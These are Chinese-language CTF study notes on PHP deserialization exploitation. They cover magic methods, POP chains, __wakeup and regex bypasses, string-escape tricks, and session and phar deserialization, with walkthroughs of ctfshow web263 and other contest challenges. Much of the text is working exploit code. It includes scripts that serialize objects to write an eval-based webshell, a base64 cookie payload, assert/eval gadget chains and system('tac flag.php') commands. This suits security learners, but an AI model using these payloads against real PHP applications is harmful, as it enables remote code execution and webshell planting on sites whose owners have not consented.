反序列化 注意eval需要{;},cat /f*
file_put_contents:把字符串写进文件中,前面是文件名,后面是文件内容
可以人为的写恶意木马,传入一句话木马,再打开木马文件连接蚁剑
file_put_contents(“1.php”,“”); 访问1.php连接代码即可
魔术方法
在类被初始化的时候触发,当对象被创建时,实例化的时候触发
,当对象被销毁时,在整个php代码运行完的时候出发反序列化以及实例化的时候触发
当对象访问一个不存在的方法,或者不可访问的方法时候触发
当访问一个私有属性,不存在属性时触发
更改对象私有属性值的时候触发,对不存在或者不可访问的变量进⾏赋值就⾃动调⽤
在对象(指实例化类的变量)被当成字符串调用的时候触发//echo print_r serialize
当一个对象被当成方法(函数)调用的时候触发
例: $text = new User(); $text();
序列化之前触发
在反序列化之前php会调用
序列化 serialize()
反序列化 unserialize()
类里面的成员属性要与值对应,靠长度判断内容
:}结束符之后内容不影响反序列化内容
pop链poc编写 字符串逃逸,通过序列化的特性增多或者减少字符串注释掉后面的内容,将所需要的内容写进去
wakeup绕过 属性个数大于真实属性个数时就会绕过,有版本限制
引用 1 2 3 4 5 6 7 8 <?php class aaa{ var $a; var $b; } $c = new aaa(); $c ->a = &$c ->b; //通过引用$a和$b就完全一样
session反序列化漏洞 漏洞产生:写入格式和读取格式不一样
ctfshow web263
扫描目录得到www.zip,下载得到网站源码
代码审计后主要有几个关键区域。
在index.php 我们发现$_SESSION[‘limit’]我们可以进行控制
flag在flag.php处,目测需要rce
inc.php 设置了session的序列化引擎为php,很有可能说明默认使用的是php_serialize
并且inc.php中有一个User类的__destruct含有file_put_contents函数,并且username和password可控,可以进行文件包含geshell
1 2 3 function __destruct(){ file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s')); }
开始构造EXP,生成payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function __destruct(){ file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s')); } } $a = new User('1.php', '<?php eval($_POST[Ki1ro]) ?>'); $a->setStatus('成功'); echo base64_encode('|'.serialize($a)); ?>
在开发者工具的控制台替换cookie
1 2 3 document.cookie='limit= fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyODoiPD9waHAgZXZhbCgkX1BPU1RbS2kxcm9dKSA/PiI7czo2OiJzdGF0dXMiO3M6Njoi5oiQ5YqfIjt9 '
访问index.php改写$_SESSION[‘limit’]
再访问inc/inc.php触发会话,将shell写入log-1.php
最后访问log-1.php传参获取flag
1 POST Ki1ro=system("tac flag.php")
/[oc]:\d+:/i OC:正则表达式。正则表达式是对字符串操作的一种逻辑公式,就是用事先定义好的一些特定字符、及这些特定字符的组合,组成一个“规则字符串”,这个“规则字符串”用来表达对字符串的一种过滤逻辑。
\d: 匹配一个数字字符。等价于 [0-9]。
+: 匹配前面的子表达式一次或多次。例如,’zo+’ 能匹配 “zo” 以及 “zoo”,但不能匹配 “z”。+ 等价于 {1,}。
/i: 表示匹配的时候不区分大小写。
preg_match(‘/^O:\d+/‘)匹配序列化字符串是否是对象字符串开头。
在O:4变成O:+4即可绕过
被waf拦截 序列字符串中表示字符类型的s大写时,会被当成16进制解析.
url编码 编码可以防止不可见字符丢失
数组类的变量赋值 ($this->now[$name], $ary[0]);
$c->now=[“YCB1”=>”readfile”]
原生类 就算没有写在类里面也可以调用
SplFileObject(路径),查看文件一行的内容
FilesystemIterator类:用于遍历目录和文件系统
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?php error_reporting (0 );class Sakura { public $apple ; public $strawberry ; function __destruct ( )//1 { echo $this -> apple; } public function __toString ( )//2 { $new = $this -> strawberry; return $new (); } } class E { public $e ; public function __get ($arg1 ) { array_walk ($this , function ($Monday , $Tuesday ) { $Wednesday = new $Tuesday ($Monday ); foreach ($Wednesday as $Thursday ){ echo ($Thursday .'<br>' ); } }); } } class Heraclqs { public $grape ; public $blueberry ; public function __invoke ( ) { if (md5 (md5 ($this -> blueberry)) == 123 ) { return $this -> grape -> hey; } } } $a = new Sakura ;$b =new Heraclqs ();$c =new E ();$a ->apple=$a ;$a ->strawberry=$b ;$b ->grape=$c ;$b ->blueberry='0j=' ;$c ->SplFileObject ='/1_f*' ;var_dump (serialize ($a ));
字符串逃逸 当我们无法人为上传序列化而是题目后台自动生成时,需要利用字符串逃逸进去
字符串减少[安洵杯 2019]easy_serialize_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php $function = @$_GET ['f' ];function filter ($img ) { $filter_arr = array ('php' ,'flag' ,'php5' ,'php4' ,'fl1g' ); $filter = '/' .implode ('|' ,$filter_arr ).'/i' ; return preg_replace ($filter ,'' ,$img ); } if ($_SESSION ){ unset ($_SESSION ); } $_SESSION ["user" ] = 'guest' ;$_SESSION ['function' ] = $function ;extract ($_POST );if (!$function ){ echo '<a href="index.php?f=highlight_file">source_code</a>' ; } if (!$_GET ['img_path' ]){ $_SESSION ['img' ] = base64_encode ('guest_img.png' ); }else { $_SESSION ['img' ] = sha1 (base64_encode ($_GET ['img_path' ])); } $serialize_info = filter (serialize ($_SESSION ));if ($function == 'highlight_file' ){ highlight_file ('index.php' ); }else if ($function == 'phpinfo' ){ eval ('phpinfo();' ); }else if ($function == 'show_image' ){ $userinfo = unserialize ($serialize_info ); echo file_get_contents (base64_decode ($userinfo ['img' ])); }
正常的反序列化:a:2:{s:4:”user”;s:5:”guest”;s:8:”function”;s:1:”Y”;},我们需要把”;s:8:”function”;s:1:”Y这一部分给吞掉,在逃逸出来的部分里面写进_SESSION[‘img’],这里一共时23个字符再加上我们编写进去内容后s:1:”Y中的一就会变成两位数,故一共是24个字符,我们需要写8个PHP
传入下面的内容后,后台会把php给吞掉,那就多出来了24个字符,后面的内容就可以逃逸出来把我们在phpinfo里面看到的文件d0g3_flag.phpbase64编码以后的内容赋值给img,后面再多加上一共变量凑够三个(没有因该也可以)形成闭合,即可找到flag真正的位置,再base64编码,就拿到了flag
a:2:{s:4:”user”;s:24:””;s:8:”function”;s:58:”Y”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;s:1:”1”;s:1:”2”;}”;}
payload用POST:_SESSION[“user”] = phpphpphpphpphpphpphpphp&
_SESSION[‘function’]=Y”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;s:1:”1”;s:1:”2”;}
字符串增多 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php error_reporting (0 );class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ( ) { $this ->from = 'm' ; $this ->msg = 'a' ; $this ->to = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}' ; } } highlight_file (__FILE__ );include ('flag.php' );if (isset ($_COOKIE ['msg' ])){ $msg = unserialize (base64_decode ($_COOKIE ['msg' ])); if ($msg ->token=='admin' ){ echo $flag ; } } $a =new message ();$b =serialize ($a );$umsg = str_replace ('fuck' , 'loveU' , $b );var_dump ($umsg );
当匹配到fuck就会被替换成loveU,那么就会多出一个字符,我们先正常的序列化一下得到
O:7:”message”:4:{s:4:”from”;s:1:”m”;s:3:”msg”;s:1:”a”;s:2:”to”;s:4:”loveU”;s:5:”token”;s:4:”user”;}
而根据题目,我们需要把user替换成admin,”;s:5:”token”;s:4:”user”;}一共有27个字符,那么我们只需要给t传入27个fuck,即可逃逸成功,注意,最终标黄色的部分二者的数量保持一致即成功
O:7:”message”:4:{s:4:”from”;s:1:”m”;s:3:”msg”;s:1:”a”;s:2:”to”;s:135:”loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU”;s:5:”token”;s:5:”admin”;}”;s:5:”token”;s:4:”user”;}
故本题payload:?f=a&m=m&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck”;s:5:”token”;s:5:”admin”;}
phar反序列化
$phar->setStub(“GIF89a”.”“);
phar文件要能够上传到服务器端。
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
php大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,
PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发
phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容
————————————————
参考:https://blog.csdn.net/xiaolong22333/article/details/116092578
[SWPUCTF 2022 新生赛]ez_1zpop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php error_reporting (0 );class dxg {function fmm ( ) {return "nonono" ;} } class lt {public $impo ='hi' ;public $md51 ='weclome' ;public $md52 ='to NSS' ;function __construct ( ) {$this ->impo = new dxg;} function __wakeup ( ) {$this ->impo = new dxg;return $this ->impo->fmm ();} function __toString ( ) {if (isset ($this ->impo) && md5 ($this ->md51) == md5 ($this ->md52) && $this ->md51 != $this ->md52)return $this ->impo->fmm ();} function __destruct ( ) {echo $this ;} } class fin {public $a ;public $url = 'https://www.ctfer.vip' ;public $title ;function fmm ( ) {$b = $this ->a;$b ($this ->title);} } if (isset ($_GET ['NSS' ])) {$Data = unserialize ($_GET ['NSS' ]);} else { highlight_file (__file__);}
构造的链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php class lt { public $impo ='hi' ; public $md51 ='QNKCDZO' ; public $md52 ='240610708' ; function __construct ( ) { $this ->impo = new fin (); } function __wakeup ( ) { $this ->impo = new dxg; return $this ->impo->fmm (); } } class fin { public $a ='assert' ; public $url = 'https://www.ctfer.vip' ; public $title ='eval($_POST[x]);' ; function fmm ( ) { $b = $this ->a; $b ($this ->title); } } $x =new lt ();$add =serialize ($x );$add1 =preg_replace ('/3:{s:4/' , '4:{s:4' , $add );var_dump ($add1 );
[FSCTF 2023]ez_php2
1 2 3 4 5 6 7 8 $a =new Ha ();$b =new Rd ();$c =new Er ();$a ->start2="11111" ;$a ->start1=$b ;$a ->start=array ('POC' =>'1111' );$b ->cl=$c ;$c ->Flag='ls /' ;
构造相同变量 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 < ?phphighlight_file(__FILE__); error_reporting(0 ); class Clazz { public $b; public $a; public function __wakeup() { $this- > a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php"); } public function __destruct() { echo $this- > b; } } $a = new Clazz(); $a- > b= & $a- > a;/ / 用取地址符直接把变量的地址同步 echo serialize($a); ?>
版本漏洞 当php版本大于7时
O:1:"b":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:16:"eval($_POST[1]);";}}==O:1:"B":1:{s:1:"a";O:1:"A":2:{s:4:"code";s:16:"eval($_POST[1]);";}}
可以用于绕过正则
protected和private绕过
绕过的方法: ①:php7.1+反序列化对类属性不敏感,将protected改成public ②:手动将序列化后的形式改为protected或者private的标准形式,结合urlencode和base64编码进行操作
来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/vhecfphtcdraqt3u 语雀文档ID: 135177744